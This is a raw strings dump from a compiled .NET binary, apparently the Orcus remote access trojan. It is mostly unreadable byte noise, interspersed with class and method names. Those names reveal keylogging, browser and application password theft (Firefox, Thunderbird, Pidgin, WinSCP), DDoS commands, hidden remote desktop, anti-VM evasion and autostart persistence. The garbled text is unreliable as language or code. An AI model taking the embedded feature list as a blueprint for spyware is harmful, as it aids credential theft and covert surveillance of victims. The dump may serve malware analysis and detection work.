get_LogEntries
<>9__23_0
RN*(
<IsAddedToAutostart>b__2_0
OpenRead
K3F@
)D=6
UrlCanonicalize
~^Yo
"g_O
|O3z
gl]Y
>Iz_
l|v^
2|/yY
BasicComputerInformation
UninstallableProgram
59=;,
Jx_
C7>B
Register
V2*{
,M/J
qbp>
TryConnect
get_Installers
System.Collections.Generic.IEnumerator<Orcus.Shared.Commands.Password.RecoveredPassword>.get_Current
NgP8
>g"_g<
WI)?
set_Id
]RxY	/Ka
remove_SendResult
Mrw
/e04
hObjSource
l|vr
startIndex
VYTJ:
WriteSpecialKey
z(-yrN
playInformation
Passwordcheck
MinimizeAllScreens
_Ca[
=<5[
()D+!Z
set_InterpolationMode
s?2z
Qol"m^
&cc7
System.Drawing.Imaging
mp@jbG
OctetString
SC9jO
get_InvariantCulture
1Orcus.Shared.Commands.Registry.RegistryValueQWord
_pageSize
;*VC
T3G)
JaT*
1Q4
8Vp
dmReserved1
_containerName
FyAk
wRM"
?	TY
CurrentConfig
RxN
K4\6
j\_.m
C_?T4SP
Ga;X
I@H$
{8:Du\0'D
.B=E
d]T/+T
1p_V
IsNameOrValueNull
V[V
SETREDRAW
STATURL_QUERYFLAG_NOURL
;9E<OTD
FrameworkVersion
J	SyV
#(0[
xQs
set_Culture
Km-V
get_ResourceManager
{$wR
P@$4P=G
c>k\
C?SD
C6c
MK/S
adc N'
oO@2
<ProcessCommand>b__4_6
";Q%
{$w@
)=Q
[Ff3
Ak*]pJ
=K/XNY
sM.['
UBY)
System.Collections.Generic.IEnumerator<System.String>.Current
t5e7
set_IsWorking
^
DI5
NewTask
xmJc
length
`BUD'
p}S@
\^?#<
Z>P>
*Y9[
oyM
5^_Q
rJ*
lJJjUa
Tc;q
hKey
set_HardwareInformation
$| %
Program
Handle
P3cL
DNrO
$yE1
A=B
c|&R
V<p2
Orcus.Shared.Commands.RemoteDesktop
&	o:
>B71
cP;R
start
P.	Fd4R
*K;C!
i}da
P:I
vh"V
PmRhl"
8XvF
<IcmpSockets>k__BackingField
kI6
&	o(
WCF_PAINTMETHOD_PRINTWINDOW
Y bV
P~]_0
rE0"
HsWs
a^1
f
$C{
M{-{p
hRh0O3(
$D4 3gF
<C>
W	*6
h2#s
FNOZ
^b7
gy,M
@:Pl
PixelOffsetMode
NQ@Y
Integer
B;`
*sP
1vM~
nOEE
<ShowWindow>b__1
L%dJ
*sm
{y\]P
B
E@
get_TotalMinutes
hY	V
?|W!|
&t-
0X
v~
j
*i9E
Shutdown
Oa+^
KeyDown
RLC+(Ci
!4+s
^m:
j~O>
TRYOTHERAUTOSTARTONFAIL
/C<-
CreateDecryptor
set_Connection
<>9__0_2
<>9__0_3
,Q.}
Installer
Or_W8k
"M;
X#WBz_Z
<>9__0_5
rt=
SW_SHOW
-).;
L<Zg
?h+u8x
NCRBUTTONDOWN
g2CS]2
_Y=K
N_)Y!i
Yr5>
foy/
T{(d[
tFyD
Qh+L
CANCELJOURNAL
H$4|
}zYO
Xn?Q
`Dd/
7Q	C/
Wd4	U
/}2_
get_BinaryWriter
dmDisplayFlags
q)PcNCB
IME_SELECT
VNXy
Multiply
Orcus.Extensions
6q.O
IY|e
=4["
}zY/
J^<ZLi/K|5
ew'Z
K}e%
2gr1
SETTINGCHANGE
!wb_
H9-7
WSsco
<WindowInformation>k__BackingField
J^<P
>qR~
eHw&
CIM
L2iyW{{
SPI_SETDESKWALLPAPER
Es`J
HD`mNq
get_ConnectionInfo
GetBounds
EVENT_SYSTEM_FOREGROUND
;dx_59
nXi
Ec:Zt:
<GetBiosInformation>b__0
ResourceType
Nxe4
:X\HX
modeNum
get_VoiceInfo
usnp?
Zh"!
ivB3
o^sC
<45yhR
filename
*.:~
\E-=Y
bvyu
YP#
set_VideoResolution
C3?Y
CkK,
;/ZW
SB]F
pszCanonicalized
y7-N
<LogData>k__BackingField
+!]
MQX;@
bs^90
gkdV:8&=I/
q6-n|
<GetBiosInformation>b__2
;2h?R
handle
qW6/
:gRY
OLY&
lpReserved2
RegistryHive
`i^F
\r!3
i+dh
r}b-\'
{?N{
<1iVZ+:-5
t\>i
GlobalMemoryStatusEx
ifFn
F'S
GetWindow_Cmd
9Pi#Y
~DOy
timePasswordChanged
W
4k
oeV+
'#'
G<HPi
9=`Mh
j/Dg	n&h
| zx
|X/gd
P-z7
98f5f218da81456795da0aa2ba7ba85b
MOUSELAST
GETTEXTLENGTH
0..gA
'4Nc
"t E
KldmjP
'``O
H?ad"~
|i8X}
get_Resolution
,&id
OpenDesktop
Orcus.Utilities.KeyLogger
set_TotalMemory
Z*Wb
nYSrc
.gJFz
69QY
n?n
E/&w
vYq}
0B/k
Q)KW
<PacketSize>k__BackingField
Settings
*a\+
!gYJ(
<PrivateImplementationDetails>
s1&JE
kEu^
ServiceContractAttribute
GetWindowLong
Nc]DE+
".Fe
get_InternalName
DeleteSubKeyTree
0zc@v
Tm^4'v$
_isWorking
7?/l
sPg>
}Ele
RegexOptions
HvncAction
_QV.5
<gLB
^^u
CopyFromScreen
BZA^
IDisposable
H5?N
_Ph[~q
Ih>Fy
&dni
$V[q
get_FactoryCommandType
i:hv
mRhRt
ullAvailVirtual
P$Z@h
_ipEndPoint
/KG<1
)Ocx
<y^-
CreateSubKey
DatabaseConnection
\~4rK
ConnectionInfo
{e%]
h6PoU
]^t?D
}F3
j.	t
!7@&
y
<EcO9
qD`
d@R0
GetWindow
DQ3M
>+g
g$3/
\\mv
txDR
2.KB
xx~j4
set_Resolution
f59IV
ZwVa?
CommandResponse
DoNotChangeOwnerZOrder
RZl6
d{	^
eu6,
VDHK
set_AdapterName
2IR[~Z
\Kf:n
<=8"
ebi
get_UnicastAddresses
RemoteActions
*V~2
UkyCy
EnumerateSubKeys
^g@ykt
W/;m<
.-Qq2
=t[\h]
remoteAddr
x(!v
IZ?
Ts$u
fK.;
z%%]G
WMwz
~h
'RH
Year
get_LastVisited
kSgn-JDJ
n-|_
R 5a
lyT2
c
#\K.cz
$0\X
_isRunning
Sdnx
EndReceive
;a^4
>W	4N
x.scpp5
SC_KEYMENU
@121
set_Enabled
ppvOut
HoF2
Sort
get_Exists
<accountKey>5__2
_firefoxCookieFile
MEMORYSTATUSEX
_isDisposed
IsInRole
;M*x4OG
ae/_
bUA#
ZoM>
E541>~
Passwords
ThreadExceptionEventHandler
W#t`
i{	2G
SHGFI_ICON
>/YJ
kAG9
A#h"
'Cj2:
WS_POPUPWINDOW
%cF)m
VBCodeProvider
Deserialize
\)Mf
L7>s
'#o
E{8zP
r/d{
phProv
executableFile
Oxe
\
KillButton
`>/fy
N[;d
p4Qj
N
MKDwM
@G(n
HTERROR
Synchronized
Dk^{H;~
nA!!
_jz
Xfz
_j&e
get_IsEnabled
u<_M"
1E63
dwExStyle
gK[WZ
hngdu6h
Fcg[
WS_VISIBLE
command
SgBz
C*7)
5
XB%
GetValueSafe
`M^5
ANTITCPANALYZER
set_DeviceName
FI$|S
r`!
NsPS
pr5:
KeyLogEntry
get_Line
GN$_:b
=
S
O}F
get_AllScreens
' $L
5j-H
W|}L8-
NHP1c
uF\!
ardj8
CalculateMd5HashFromFileToString
GetEncoding
"Q*5g
\Odp
g,i8|
set_Is64BitProcess
FilterCategory
I[sl
>(A
M,O=
\+
(Y
eO\
ALG_ID
Xl1;<bW;:y
}Pro
[BK'
z>`w
1:M1g
zb$&2
MessageTextBox_KeyDown
JEPM
SETADMINFLAG
$AFA0DC11-C313-11D0-831A-00C04FD5AE38
AJHo
hPT?W
LL.S
}jd
5>2n
NullReferenceException
FromImage
~ZjE
*Wk4*
Y0\g
^c@b
5$E2
WR
{
&$x?0*P
*p[W!
.Y};S
_
{Ov8
StopAll
4avq
4!c,
G/R
<GetFormattedKeyValues>b__4_1
4avy
get_ErrorText
(Bm
i?um
54N-
dwAllocationGranularity
StartDownload
C\a,/
set_StartInfo
_pluginReceivers
X\/d0
0L`V
STARTF_USEPOSITION
c)`u
UserInteractionCommand
a~L%O
!sD
+,
<KB
z1\??y
UNJ?
{Z$T6q
7#
IWebProxy
NotepadHelper
a&~at
rWIQh!
*/2n
synSockets
cZ`D
1M~D
th#T
p*r5H
MZnR
AFXFIRST
!Y&@=,
<ApplicationPath>k__BackingField
m8'=
get_AllTasks
+%j
gK
desktopName
Tp8
DESKTOP_HOOKCONTROL
Ey%t"M
set_ProxyPort
t
zh
dwXSize
y*IT
_-v&
:IY/s}
Szc}mJCC
`N9D
tR2zN
&/25
*'X`^
j#
j8?&
<=p#
I.gG
o
-1
Replace
.Wvt
+*	j
(2V5
EQV4
CBc8
d9/Y
5c<a
]oK
r7?
H0&^
:>X=
OY<]{
;u~Q
add_DataReceived
L- kL
nL!Q
%!uV
lpInitData
l!6\
Z_5:i
y{~8
GetServices
m`f
g)[-
browser
J%hT
get_Threads
Bc\)IR
&*D83
mer[
Bu%T
?K6V{,
set_StartType
COMMNOTIFY
:-e+
M	3]
XTg,
@0|o6
n\
z+
set_Arguments
ResourceInfo
^ea
Hl4x8
4+bo
!~v
,9e9
Xp0F
pdWFs
remove_FileTransferCompleted
?lF
p]1=\p
W#<y
"S`ia
D+3
Po??
9O6i/
?it<
SHA256Managed
L1FK
tt
:=JL
&2Da
F]{
set_Position
^!hb
,Hg
get_TcpClient
bbOJ>
t ,y
-/uU
WDW@
*5%-/
SCF_ISSECURE
IMSKIO
N757
_configDir
)Y3"S
<ConnectionInfo>k__BackingField
Mb4R+
Qg@8
DZ\W
Orcus.Shared.Core
C3e)
kiuBd
l kM
wJ_4=K
BeginOutputReadLine
+Vr6
Tfg&
5ac
GO~H
'.X?
ZBvB
.2B#c
#"m
&+K-
LDni
Al1R-eC
B[7y
06-i
SHGFI_DISPLAYNAME
Z?Te
D{9dc
.ge}a_
vZ2r
[	n)
f\%
z5QN
GeneratedCodeAttribute
`Q]Q
#^N
zCA6
wD|Z
`Lo
Ed8U
Orcus.Commands.Passwords.Applications.CoreFTP
AzPU`+
TPA`
MWrp
_tG>
Y7OZfZE
CTLCOLORLISTBOX
SHGFI_LARGEICON
@	&|1
et_`
vuTJ]=
SrA7[
C>]q
;KW^E
jSa6_o
<dGr_E
trM
{
Uj+]
'P!
70cx
%oA!
z'U~V
+i~YT
CheckProcessIsRunning
C\;X
status
uVirtKey
`d:0
GetActiveWindowTitle
set_Heigth
_cqX
&Bq2
!]O|
-
M6|j
\Sj
X
7K*
@O']
A&
N
B:[C
get_WindowsFolder
x|G$
JKN*:
G,Ao
ProtocolName
Orcus.Commands.RemoteDesktop
NCMBUTTONDOWN
!	x
O9:&
/i*
!g2Z
jU>49qKG
KW9s
set_RegistryValue
kW[c
\~7qK
K#e_
#isrr
aWP ~
s~G*
)Z_4*B
VC'j,
<SendProcesses>k__BackingField
')Zl
libraryName
!|#x}DP
do=Q
7VPzl
U}p[XR
hc1(xt5
S:e@?5 4
IsTaken
]4m\
Zop(
DESKTOP_ENUMERATE
@jj"f
ullAvailPageFile
iO -k
(;
Y9-W
_errorFile
CannonializeURL
WZyA
}osX
F|Rb
:202Pw
Substring
I<-u
DateTimeToFileTime
_YFwe
BjjU
s>c|
}haL
65976E8BC1E21014EFB963E7F0E54D344F1B81A5
n%Wt
Take
9{|`
MDOt
Sb.:
|D+q
=g=<N"
pszPath
l(v
pwR	{
E
/(
<Version>k__BackingField
tMYu
CompilerErrorCollection
ReadTable
<line>5__1
7myq
lpModuleName
ZZ\
j1!~
."L
-"m#
Culture
@YCu
2Qe~
_;]"
m?
[1.
A{h4
:N{d
hStdOutput
m-9b
Qu
9
jT#%
ANTIVM
ShortcutType
5vy}
RegistryValueBinary
m~7o?
algid
TCP_TABLE_OWNER_MODULE_LISTENER
registryKey
Ceiling
;-Ym
jX(8
+-{*
~[o.
)JM:
D!3B
g,g	9
)ioR
5Oi:H
4XG:
Q	qC<
_screenWaitEvent
SC_PREVWINDOW
fkXfu
/o[{
Serialize
'2 I
FhCr
moUq
f!g-
nu<~
encType
6^ Nn
user32.dll
ClassesRoot
dwYSize
< 7`
9w
OpenWebsiteCommand
; DQ0iN
->~
ProcessedByFody
1@7!6
,|P?
sDlvE
~}+lQ
V$Q:
S.;&
aNNp
]a_-
IToolBase
xx[%
jgW5:
df&^tcp+U
starksoft.aspen
"|N)
'IRX
'E
GCHandleType
mcxDjq
<&Bk
(v
~$
C\?
TB6J{
}-0D
=JNJ!
<DrawWindow>b__0
>Fy)$	^
=	%YK
LFvv.1
B6Cv^
v~)t
s3"Y
Vt,"
&~Jq
O
Y
ayQH
rEC
SystemParametersInfo
WbIo@
:'V4
)P>#
UU>_
Cv}!
=|2]
b._u
tf$UAC
|u
u
(BL
y<?F
-(
i
5.*O
?p3
ri2
Q-|$t
-O.~/
|b/u
HI-$
,r"P
^Cz-
z`Q|Y
wq|{
UNICHAR
LST8
AssemblyCompanyAttribute
N{Qt
remove_StringUp
RecoveredPassword
Q#(A
r<@p
qPv6
#+@	E
sg%K
@/:r
SetWindowText
set_TotalPhysicalMemory
0.1.0
iCqE5
HP_HASHVAL
jvvxs
WindowEnumProc
AUTOSTARTMETHOD
hL'b:
_Y\R
W;z#
1O&z
SC_CLOSE
0}_}6
7"Uj
k92W
<GetPasswords>d__0
<GetPasswords>d__1
Z%iH
NOTIFYFORMAT
"3c&
K~4J>8
[pkr@
set_RedirectPackage
HTCLOSE
jo+7y
\8V1
!Sul
=<%D
Wn,!
Zx\s
YuF
B2!K
2[M+(
9<0j9
b`%0
l
&
Zx6
'mQ
audioEndpointType
_Vae
SetUnhandledExceptionMode
VoiceGender
WinEventDelegate
Exists
A}cm
;wvB
Q>b-
Headers
FromStream
rb=L
CPL_LAUNCHED
PADPADP
SetCreationTime
h2J88
IG3B
-E-5-
c#*!L
Ul*J%
CREATE
uYKq
l|mt
6v,t
XI
vYLu
resourceNames
g@=t+
- ~n
=n"3
@xHK_p7
<EntryName>k__BackingField
o%>
L
/\\g
~5)Q
0'3C\
mL_`
uBW+HCh
{y[9K.5z
$3ys
WS0|
get_CurrentDomain
#`o7
JZ?d
4
J&
4j:7
Y3om
~A]=
EB1y
p06L#
>*v7S|qVn
YogBn
C?zO
W	Ao
M{9
1Oyt
/y7bN
h2"~
M\(|o
@6/r
t`!p;
J<L]Uf
w	'{
%#|[
p+r
)cN(COE
RegistrySubKeysPackage
;@
Q
Win32api
Control
(^
<GetFormattedKeyValues>d__4
{')c
$!gAbB
rcClient
XSY
<W{Cp
R6N=?C
OnStart
ELK2
bG9Kyt1`
CompositingMode
[!E#]\r8]
es2C
OR$598
X7
Y
!b^*
2kw>
T(\q
WebcamInfo
&O\;
ToUInt32
=
f6
I<Ab=
remove_ActiveWindowChanged
~wZs
9
usB4,
.i8qK
pr=9
L,g&
pluginReceiverGuid
> 2|
"
9Ai
Slt*
F pn
LivePerformanceCommand
get_AdministrationId
LObZ
CanTryConnect
Ln*?5
Type
2jH0':)
"f$H
PVD=
F:LoVO
m1x/
#Ix*
LogData
jK/YU"uf
TB?f
cH|D
nFolder
qm^[
CMH<
set_Architecture
bqVK
HIDEFILE
Zrlp
Q
O4R5
set_SupportedLanguages
+4ga6
@3}j
M]=y
)`\&
o50K
TCP_TABLE_OWNER_PID_LISTENER
$f9 0
5-bo
_i@\
~bl&
{zW)
!f:
AwQ7
w8}=H
TakeFullScreenshot
Orcus.Plugins.IConnectionInfo.ServerConnection
JUn*
>??{
I*1~
get_LocalEndpoint
set_VideoModeDescription
ASf$
x=pIO
m)x:
lpSTATURL
-|]j
<>c__DisplayClass1_0
myfv
<Monitor>k__BackingField
&W1/
pV	g
KjU8Z
HTBOTTOMRIGHT
kI|Q
Sz)^I
s|D<
eventMax
)?Fs>
\VTg
?M.w"
2>K\
lpqzdClV0
TWca
Qmn\
!gB'
MERGEPAINT
dY}{_
W/K
#f!2
B3L.
b"Xm
JF5N6
X;&
p~5d
?<Sj
*2&=+
T?NoK
1,\W
GY#3
Wykb
,@+7
o-mo#Km+
&=Wi5m0%Y
lpReserved
0\C
&\d
e,R
Plb}
>gI:l|
sb|B
HTBOTTOMLEFT
~gir
vB}Y
:%w
_currentChatForm
%=GX
K(R
ZMu$
P,[q
h#m#qJn>OM
m|D
U+wy
}28~
DesktopProc
ipVersion
,!nd
Orcus.Shared.StaticCommands.DDoS
tGTm
;'PJ"-
}1Gz".
8=C@
5.d
*R5D
m
Jb
MDIMAXIMIZE
get_EthernetAdapters
*1:v
/3+-5
EHzv
$
_1
+eZ%
DESKTOP_CREATEMENU
gdjbjp
7B6
c6|HH
Orcus_Service
&GTn
><?U?
+]	>
/0Aw
$<l=k
opN7
,$
add_ActiveWindowChanged
XB1L
get_LocalPort
/7
O
BoEV"
OE>
<
GetString
TV\e
remove_Connected
WindowsPrincipal
OST"
J+y
Bh^W
MY+*?
nIDDlgItem
{c:~U
AForge.Video
4X>[/5
?TUt
WH_JOURNALPLAYBACK
?[)h
WaitHandle
*{J
DayOfWeek
aSh
woO3
}_#Y
Rp9
Button
gzip
Orku
get_IsHandled
U:$|
YZMg
=iAO
Dv6
~QBOx5:
~DfM
IL]+iY
732u
8_hG
GetModuleHandle
ff'>
Orcus.Shared.Commands.TaskManager
rV9
xlfa&Vc
set_VoiceGender
OZH p}
r~x{QP
-r	2
e=+
set_Plugins
"!_`5/?
O!S
dmPelsWidth
jp$E
vZ4T
YhP*
:ynxh
]&zw
set_CurrentVolume
+4!td
Cuaw
q	[/e
lpFileTime1
dmPanningHeight
get_ImageQuality
nt@3
I%jky&
ServerConnection
CreateDirectory
rgelt
FrameSize
StreamWriter
;sN>S*8
|f}m*WV
\9t:
pr{:
}ZKJ
SHGFI_SHELLICONSIZE
L4ZRaE
E)i~uA
ji1k
K'g/
DJD\D`D
_BH
_md5Hash
set_Passwordcheck
dIx;
SWEU
QoDJ
w6N^
8jLZ
OLPFZ
FileTransferTempDirectory
e+:ND
+0k*
XwxL
r#;
WaitForExit
'SrFY
b`C
^n
ToAscii
get_X
b:}g
Pi"T
7
>9x$z
>xP_I
H3|
v
@VfAa -'5
&5#2j
$3C374A42-BAE4-11CF-BF7D-00AA006946EE
[AtFy
%~B}+
}K>?
HTRIGHT
?H.Gkk
set_ReadOnly
Zqu6
poctNotify
`.rsrc
2qg\
;M\S
Jl
e
InternetCommand
'nvB
uy@'
synData
{Ngv
dmI'
set_LocalAddress
}}`S
]:o?R
DWe]
Milliseconds
uOW6
set_UsedMemory
\Y
'*>"
,MN/
K0}9
q4=/D=
OpenRegistry
4L=i:F?
e~ ~
AudioDevice
Pyfh
[9 Ib48)7
!cYy{
System.ServiceModel.Description
o!r$|
@bQ(
,/D>vEK
DeleteValue
EventLogCommand
\#OMi
Bbrh
GETTITLEBARINFOEX
\\Di
[YLA
/JuG'z
iD$p
d)>U
_keyLog
[k!=
Mm
&fw
HTGROWBOX
~h;6T
f^{s|K
m'S,J
ZV`n
?K$k}
COMMAND
uB<_=f
add_ThreadException
IjLRh
mPVv6
AddToAutostart
6]rI
Aggregate
@7!o
registryValue
8AS~x
E?
:Hk!
Orcus.Commands.Passwords.Applications.Thunderbird
.k^Y~
;9%A
["@>m
memoryStream
{^<(
4]_l
3Iuu
WcUN
0?u.
'
HX
K@o
cxWindowBorders
Vs
Gi
w[0S
|i	_F
fkir
p[Kk
x_(0
k IjJ<
guid
0lKOus
|iX
_screenFactory
E!	l
, ):x
2JXFG
ZWff
t@(Y
qZ3P
Gj6ct
XC)$0;
WebRequest
encryptedData
l|(g]G
;r\A
ImageAttributes
}y/
Mj=%:
m5H?j
9b_@8r
iBc^
<>9__0_1
E/lJ
AesEncryptorMain
z[;b
9\KE
}_"(
RRCZ
vL"q
<IsEmpty>k__BackingField
^Yj::+s
5tt8
O\*:
LBUTTONUP
b\n\
m "X
D\Ip
HSCROLLCLIPBOARD
P^y
SRCERASE
{"q^2
set_Processes
[1Oa
EnumAudioEndpoints
X>tMX
Hook
5q^4/
*tj2\
y_w5/
tYXy
-,,h%T
cXm=.
-(ZA
6t*yG
fYNWo
kernel32
HSHELL_ACTIVATESHELLWINDOW
Orcus.Commands.LivePerformance
G;j
P//\
idChild
6zS.)
ExecAction
J5R)
L5+v*
<DataMode>k__BackingField
^_91
WM_COMMAND
ObsoleteAttribute
Bk
z
set_MasterVolumeLevelScalar
Orcus.Commands.Passwords.Utilities
r+TJ
Dg K
.E$
XmlObjectSerializer
set_SystemPageSize
get_BigEndianUnicode
)( {
GetRootOwner
EkmT;J
plii
#c]\w
fbc<
procedureName
+1.w75
MOUSEEVENTF_WHEEL
9%<'
K|~w
`gJN5
'@
y
ToLocalTime
J$?g
c$A
woG
Tz<
~=E"
DoMouseScroll
rLDboL
HT,o~
SetTaskManager
P;T{
WoW6432
set_State
a!fc!2}
ENDSESSION
lpsa
GetKey
get_Now
t}XZ
WindowElement
(_EyL
client
p"FA
D=Rct$
kl=0
SequenceEqual
ExyzO
]'w
Gze=
e.2R
KoUx
onR}
set_NetworkInformation
t)at
R!]!~!
>pFB
Z
Ws
P%m
	v
33_u
P@E(
ChangeDisplaySettings
G0cu
BKLS
?e:Gr
fo~#V
Zc_h9
G/^v
-Es=
.5+7
WDD'{
!,``4L
~&m(
tP>x
\nq<
udC
+
@3w-[1HV
<GetPasswords>b__1_5
zrd,
ck#t
=z&;
Rfc2898DeriveBytes
udGS
Reset
kq!V
ACTIVATEAPP
\U}5s*
tfYh
GetStaticPerformanceData
TmJ
=\;$z8q?
`I8`'
&]&f&
FPEZ
shlwapi_URL
GW_HWNDPREV
1SK
/
(Z
Instance
IconSize
set_MaxBufferPoolSize
c7%1.~
BK5
<IsAdministrator>k__BackingField
L]R[C~}
#mH`
-3sP
%qcD{
RegistrySubKeyAction
hwnd
1w0h
FileVersionInfo
q-|<1
TCH!@
nYDest
MOUSEACTIVATE
{D	F
B2:7
f+hf
%aHl
S
kt3
czxV
{dyd5
YW}^qO
:u*#
System.Collections.IComparer.Compare
;b.Y
*anXB
FilterInfoCollection
S$NR
Rn>G
Ep	8kM
TxpZ
m!z[
set_WindowStyle
aA@[
B0rmc
oJC4
^!q7
_fileLock
nullCache
^OGT
!m$
A4SP&
M
T:
yW]}
ZY*d
GetKeyFromContainer
MENUGETOBJECT
f6kYI
NM:
@N
E&Q.y
pDjV
QTjiY
Ik+g
lpChar
(p0/8H
GetClassName
yzBK
64O>
#Strings
+
j"M
k:_m
tGlSM
QUERYENDSESSION
<;&H/
N=]l
"g`G
<GetPasswords>b__1_3
Q"]<J
QbZL$L2h
GetWindowText
vV5N
SMTO_BLOCK
[	S5H3o
; /'
rU-
R?^gz$[
4!Si5
JB%Q?
HI:IAIZI
*OAtFy
l[ ,
J
T}
P?
gy*q^
>=yZJz
FreeLibrary
Registry86
right
`cc/
jH{PC
"aWBQ
i,e}
B	_H
ewKV
Y!q,
Cyj
2h}p
PK11_Authenticate
yfFD
2-9
30(2
Matches
B
n0
=3=ZH>y
M2y;
1![
set_Data
nOW5
EnumWindows
$vl_
936
<CommandResult>k__BackingField
_renderWindows
iThTt8!
bO#\=
6yJ]D--
Y>?#
QeF
w`.j
set_Mutex
' 
dB
set_RunLevel
VA*y
-Yu-+
uP>D
{x
!
Fl
%-&s1
6
z
KSq>
GetEnvironmentVariable
{Dtn
;_	YY
^M!E
System.Security.Cryptography.X509Certificates
`uDZ
d*oC
PU34T
pG0km
yBm3
%-&s!
]5]B
.),1
%-&s+
$XY
ok$G
hrC M}
icon
o.z:K
&z1
b|W
g/0)
ov&
dR7.
RNu\
Qe;~
t4gJ
}}]'a7q
q&db
<wx
b!bK
c]x5
0MEf@2
System.Net.Security
f ve
}}
]
_serviceConnection
fP0a
KillCommand
KCc"
&FTv
threadId
+;d5
RegionInfo
62zuHr|	rO
{0RN
hwndOwner
iLd{
yti
mEAX26
s^
.Mz
<KeyLogFile>k__BackingField
/e6-
jGt/
get_ASCII
Orcus.Utilities
Windows
Mg}:
J>CWu
j5g]
NCRBUTTONUP
'kOp
dwNumberOfProcessors
taskBarWnd
KuK7
set_OSType
Lt}z
]3QN@]
sProcessName
F+@X
NOTSRCCOPY
<O!W
}ecGm
x*k&
}bpO
9$g=
xaI[
bottom
_pSize
]0||~I
LmL
$s -(yT&
+U\Sn
<GetOperatingSystemInformation>b__6
HSHELL_WINDOWACTIVATED
<GetOperatingSystemInformation>b__0
<GetOperatingSystemInformation>b__3
NRMB
\03!
Hn&1*{y
}x|UGf
t\UdrR
SY)UP
KeyDecoder
3MkC
<FWD
YRl}yqz1i
?:Aot
AssemblyProductAttribute
dmDeviceName
SetOutputToDefaultAudioDevice
<FWJ
vO/X+
.>rA
`(3T
}/lz
^yiI(L
-+0A#KI
T,%b
MVcL
TxHR
screenNumber
hri|
UriSchemeHttp
#Vu+VSb
'Yz~["
NS3<
HSHELL_LANGUAGE
FW^Q
S;i!)
yTdf
}sOf
H9:/
fe5z
y$bF
VLW/?
NewCommandType
ServiceHost
%rM>
TQW
tg(s
PhysicalAddress
Orcus.StaticCommands.DDoS
Z?T=-C5
e}jS
I_{\X
get_URL
2?y
F`z
R[%m
Orcus.Commands.Passwords.Applications.InternetExplorer
:g)E
dwExtraInfo
HN"~
@_jgT}/
)&\x
&Bn*+
R?+<
Ne/
!>'s
~&KBp
)&\~
;vW:[
<>9__11_0
x]a"Jn
NcxH
z}GN
6|\k
_index
3P\$
BitConverter
DO>[
>bBZJ/
_VQh
HTTRANSPARENT
[w`L
N.B:b
CSCore.SoundOut
qyxT
%-&(
JNWw
&Xl:
k]MD
PK11SDR_Decrypt
<AddToAutostart>b__1
G@<+M
)v,NQ
#NM6
Height
p$Cc
get_Second
Q'X
ProcessThreadCollection
aLVS
v-J+^H
m]~s
lX&z
?szY
NZ'O
gUkT
fv\:
EVjtu
asyncResult
#|CG
<GetAudioDevices>d__4
IME_REQUEST
H]t)6
Uiq:1;
r-;
87jp|
8O?
t
fNWS8
!yv!
V.4Z
STYLECHANGING
\Js/
~@(M
JEP
Delegate
!iwi
DISP_CHANGE_BADMODE
9wI|]
R3g&
get_IsClosed
%-&s
fb(
*;`Y
15Ya
/v.e
^
|
6uFO~
windowHandle
KG
Y
MZ6X/A
get_Timestamp
|':_VK
.O"1
[8uNW+?h
_j5+y
uaJj
v"Fa
6H*mL
k!{ {!7@n
DESKTOP_READOBJECTS
pbx0
TP\uW
l"~c
0shA
f0/t
_masterTableEntries
ImageLock
cjl
eUp3
!K7D.
)Tw9V
/4C%
cX=U
Orcus.Commands.Passwords.Applications.Pidgin
;2\$
qV]R
<CurrentImage>k__BackingField
R"f
get_Bmp
%oF3
So|9S9
`3`'
x^5"<t
BWc[
Q2o,
l'PA
Y)`h2O9
8iX
IsClosed
8WIQ
m-z5T
SIZE
hH?4
GetTypes
Z[=B
E'&%:
VideoCapabilities
icn3
T~&"
"KW|]
^&8h
Orcus.Commands.Passwords.Applications.WinSCP
MDINEXT
:`N%
GY]k
}6GmtQ
.E{U
GMs|tuL%
dio[c
*!
PeN_
set_RemotePort
h*=?
vU*Mx
3/c~Qcr*,
b7V},
aF+
QUIT
*NmrN3,
CreateValue
_wn
Yl%ny
V*3M
p%Q
j]_J
XvZ6:
BESn"4
U.$4
5<7h
2i7kb
U'Vtj]
ssd8
sYA9
yx{B
XLJ
j,Uj
riid
\zKN
K^\m
Contains
y9	v
efNk
set_Language
^3El
{2SY
A`7p
get_Channels
)	ID7
mmcJ
YZ.H
?>RI
VideoCardInfo
HkKw
p6`Q
B8e=
M<e?*
Z-_BFR
:2<|n
ValueType
SS?l
!j7-
System.CodeDom.Compiler
7+z,~
nh_]
V~:[
exceptions
# _Uy
OAx
|,n)
]lw3
GetTickCount64
Jd#
Q&6>
zQ$i	9zA!q
|!?R
)J
F
ggJ!
set_Size
%
@sIM
:Y	K
sVS)
&::{
fo0>
L$68
/z[Z
_+Q(z}p
\vgo
Y2AS
SR|_
nx%3
2<@O
FT?R)
RegistryKeyHelper
Z3=
bInheritHandles
?@l8G
CxU-
62'{
xnSN]
@3R%
|F=G
u[}S
localAddr
xhJ\
J!N	qR
GetValueKind
\I
&;
#PZmn
]h/
jR&6
get_ClientPath
Rm
NO&
[!O@
5 Cc
FF=]
@9r{
Ry!~
xKkUcM
*jpA
?$~')pE
~R}RET
z~-6
W}xzOVHAd
;L$rGhw<Eb
devMode
wsIuU
0Opq
N"L
WindowFromPoint
window
LN'\3
<ServicePipe>k__BackingField
s]?eK
.Ro"{
MA_ACTIVATEANDEAT
-Kh/:)
ReleaseDC
2%b^
o8S!
L5/f
!n#N
set_ActiveControl
get_Version
[#<5S
h)@?
'ZV4:
SETFONT
ToString
H"M
9BYF
e}H
qu;*M
SetCursorPos
oW5*
PROV_RSA_FULL
4oOb
7taT
YkP|
\g
get_Principal
#c%
Parse
<>9__5_7
Z@
d@-
` `W
bScan
set_RedirectStandardInput
/"
(
uz0{
set_SmoothingMode
_client_Disconnected
add_Disconnected
ZgQ\b
WM_SYSCOMMAND
oR>A{
ReadOnlyCollection`1
3Q?9
&VkF
ResultSender_SendResult
SendBytes
lQ6r
@,b8=~
AudioChannel
ZTy[d9L>
fMa
jH]!6}
tblClass
GetLastWin32Error
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
D,y7W
DebuggerHiddenAttribute
4{.X^&SZ
O~d~
ActionCollection
)$*!Q
IJH
p]
7
&
?
/da=
=\Za
MDICASCADE
<IsChar>k__BackingField
get_RegistryValue
Kt|L
;5'=s
>TBv
_udpSockets
<>9__6_0
args
p0t8|[
n 0
,X|Xu
[{"A
StaticPerformance
]<65
Ptt9
h?'v
i!c_
t)[QO
MF&
M4W;5
'csr
*A0Ih
ZT/u
aWOa
<GetHardwareInformation>b__8
Xq7+>[@
KE:4
0a?s
y$<;j
